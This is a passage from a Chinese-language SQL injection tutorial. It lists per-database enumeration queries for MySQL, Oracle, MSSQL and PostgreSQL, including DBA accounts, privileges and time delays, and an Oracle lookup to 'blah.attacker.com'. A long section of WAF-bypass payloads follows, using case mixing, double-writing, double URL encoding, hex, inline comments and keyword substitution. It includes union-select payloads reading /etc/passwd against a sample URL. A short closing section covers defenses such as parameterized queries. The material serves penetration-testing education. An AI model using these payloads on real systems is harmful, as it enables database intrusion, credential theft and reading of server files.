Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string
PostgreSQL:
Query failed: ERROR: syntax error at or near
- 常见网页与数据库的关系。
代码与数据库并不存在绑定关系,以下只能做参考。
asp : Access/SQLServer
php : Mysql
jsp : Oracle
- 利用语句探测数据库
一种最可靠的方法是根据数据库连接字符串方式的不同进行识别。
如我们查询字符串farmsec
得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成farmsec
字符串。如过查询结果相同,就可以确定是哪一种数据库。
Oracle: 'farm'||'sec'
MS-SQL: 'farm'+'sec'
MySQL: 'farm' 'sec'
PostgreSQL:'farm' || 'sec'
如果注入数字数据,可以使用下面的攻击语句来识别字符串。
每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
5. 各类数据库注入语句
不同的数据库,需要用不同的sql语句注入。
1. MySQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT database() | - |
所有数据库 | SELECT schema_name FROM information_schema.schemata | #版本>5.0 |
- | SELECT distinct(db) FROM mysql.db | #管理员权限才可以执行 |
查询表名 | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
查询列名 | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user() | - |
- | SELECT system_user() | - |
用户权限 | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges | #用户权限 |
- | SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges | #数据库权限 |
- | SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges | #字段的权限 |
列出DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ | - |
选择第N行 | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 | #行从0开始编号 |
- | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 | #行从0开始编号 |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c |
ASCII值-字符 | SELECT char(65) | #返回A |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
字符串连接 | SELECT CONCAT(‘A’,‘B’) | #返回AB |
- | SELECT CONCAT(‘A’,‘B’,‘C’) | #返回ABC |
时间睡眠 | SELECT BENCHMARK(1000000,MD5(‘A’)) | - |
- | SELECT SLEEP(5) | #版本>= 5.0.12 |
2. Oracle数据库
释义 | SQL语句 | 其他 | |
---|---|---|---|
当前数据库 | SELECT global_name FROM global_name | — | |
- | SELECT name FROM v$database | — | |
- | SELECT instance_name FROM v$instance | — | |
- | SELECT SYS.DATABASE_NAME FROM DUAL | — | |
所有数据库 | SELECT DISTINCT owner FROM all_tables | — | |
查询表名 | SELECT table_name FROM all_tables | — | |
- | SELECT owner, table_name FROM all_tables | — | |
查询列名 | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ | — | |
- | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’ | — | |
获取版本 | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’ | — | |
- | SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’ | — | |
- | SELECT version FROM v$instance | — | |
当前用户 | SELECT user FROM dual | — | |
用户权限 | SELECT * FROM session_privs | #当前权限 | |
- | SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ | #列出用户的权限 | |
列出DBA账户 | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’ | — | |
选择第N行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 | #第九行 | |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) FROM dual | #第3个字符c | |
ASCII值-字符 | SELECT chr(65) FROM dual | #返回A | |
字符-ASCII值 | SELECT ascii(‘A’) FROM dual | #返回65 | |
字符串连接 | SELECT ‘A’ \ | ‘B’ FROM dual | #返回AB |
时间睡眠 | SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual | #如果反向查询很慢 | |
- | SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual | #如果正向查询很慢 |
3. MSSQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT DB_NAME() | - |
所有数据库 | SELECT name FROM master…sysdatabases | - |
- | SELECT DB_NAME(N) | #N为0,1,2,… |
查询表名 | SELECT name FROM master…sysobjects WHERE xtype = ‘U’ | - |
- | SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ | - |
查询列名 | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) | #当前数据库 |
- | SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ | #列出master…sometable的列名称 |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user_name() | - |
- | SELECT system_user | - |
- | SELECT user | - |
用户权限 | SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) | #当前数据库权限 |
- | SELECT is_srvrolemember(‘sysadmin’) | #当前用户权限 |
列出DBA账户 | SELECT is_srvrolemember(‘sysadmin’) | #当前用户是否是管理员,是则返回1 |
选择第N行 | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC | #返回第九行 |
选择第N个字符 | SELECT substring(‘abcd’, 3, 1) | #返回c |
ASCII值-字符 | SELECT char(0×41) | #返回A |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 |
字符串连接 | SELECT ‘A’ + ‘B’ | #返回AB |
时间睡眠 | WAITFOR DELAY ‘0:0:5’ | #睡眠5秒 |
4. PostgreSQL数据库
释义 | SQL语句 | 其他 | |
---|---|---|---|
当前数据库 | SELECT current_database() | - | |
所有数据库 | SELECT datname FROM pg_database | - | |
查询表名 | SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | - | |
查询列名 | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | - | |
获取版本 | SELECT version() | - | |
当前用户 | SELECT user; | - | |
- | SELECT current_user; | - | |
- | SELECT session_user; | - | |
- | SELECT usename FROM pg_user; | - | |
- | SELECT getpgusername(); | - | |
用户权限 | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | - | |
列出DBA账户 | SELECT usename FROM pg_user WHERE usesuper IS TRUE | - | |
选择第N行 | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 | #从0行开始编号 | |
- | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | - | |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | #返回c | |
ASCII值-字符 | SELECT chr(65) | #返回A | |
字符-ASCII值 | SELECT ascii(‘A’) | #返回65 | |
字符串连接 | SELECT ‘A’ \ | ‘B’ | #返回AB |
时间睡眠 | SELECT pg_sleep(10) | #睡眠10秒 | |
- | SELECT sleep(10) | #创建自定义睡眠 |
16.绕过网站防御机制思路
绝大部分的网站防御机制,无论是过滤、转义或是商业waf,都是基于某种正则表达式的规则匹配而运作的。也就是说,攻击者的行为一旦匹配了某种正则表达式所预料到的特征,就可能被拦截。而绕过防御机制则是,将简单的攻击语句复杂化,使其出乎编写防御程序者的意料,同时确保被复杂化的攻击语句保持原有的功效。下面将介绍几种常见的绕过思路:
1. 大小写绕过
一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select
可能会被规则发现,SeLeCt
则不会。
fsec.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4#
2. 双写绕过
在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。
例如,用户输入1' and 1=2 union select 1,2,3,4#
,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#
此时可以双写绕过:
fsec.com/index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4#
经过网站过滤机制,UNIunionON SELselectECT
实际变成了UNION SELECT
。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了。
3. 编码绕过
如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法。
3.1 URL编码
通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。然而一些程序在执行了过滤之后还会执行一次不必要的解码,
比如我们输入带有url编码的字符串:
1%2527%20and%201%253d1%23
,这条字符在会被解码为:1%27 and 1%3d1#
,其中没有'
和=
,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#
,这一条将被数据库执行。
3.2 十六进制编码
主要用于where语句后的引号问题,如:
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 0x64767761#
1 and 1=2 union select 1,load_file('/etc/passwd');#
1 and 1=2 union select 1,load_file(0x2F6574632F706173737764);#
3.3 char()函数
4. 注释绕过
4.1 注释绕过针对空格的过滤
1' and 1=2 union/**/select 1,2 #
4.2 内联注入
/*![数据库版本][数据库函数]*/
,和注释/**/
的区别是多了一个感叹号,可选的数据库版本号。
这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行。
内联注释可以用来包裹数据库关键字和非关键字。
1' and 1=2 /*!UNION*/ /*!SELECT*/ 1,2#
1'/*asdw*/and/**/1=2/**//*!50000UNION*//*abcd*//*!50000SELECT*//**/1,2#
5. 等价语句替换
在有些函数或命令因其关键字被检测出来而无法使用的情况下,我们可以考虑使用与之等价或类似的代码替代其使用。
sleep() 与 benchmark()
concat_ws() 与 group_concat()
mid()=substr()=substring()
sleep()与benchmark()
mysql中可用BENCHMARK(50000000,MD5(‘A’))产生延迟,执行MD5()50000000次,产生的延迟时间和服务器性能有关。
concat_ws() 与 group_concat()
concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据
6. 常见过滤字符及绕过
当空格被过滤后,可通过以下方法绕过:
注释代替空格
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';
括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');
引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';
特殊字符代替空格
如下特殊字符可代替空格:
%09 水平定位符号%0a 换行符%0c 换页符%0d 回车%0b 垂直定位符号
用Tab代替空格
过滤union\select
绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/
过滤引号
可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;
过滤=
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
过滤逗号
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2); #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2); #从第一个字符开始截取2个
过滤注释符
测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1;
这时候可以传入1' or '1'='1 ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;
过滤where
逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤limit
逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤hex
逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤substr
逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
过滤and,or
#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.
等价or
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:|| (逻辑或),| (按位或),任意数|0的值为任意数
17.sql注入的防御方法
1. 过滤
可以对用户提交的敏感字符进行过滤和拦截。
2. 转义
可以对用户提交的敏感字符进行转义。
3. 参数化查询
参数化查询也叫做预处理,它分两个步骤处理用户的输入。
- 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符。
- 网站应用程序指定每个占位符的内容。
在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构。这样,网站应用程序就不会将用户输入判断为sql语句执行了,而会把用户的输入当做一个整体去查询。
4. 加密存储
对重要数据,不在表单中明文存储,而选择加密存储。
5. 限制数据库权限和特权
将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。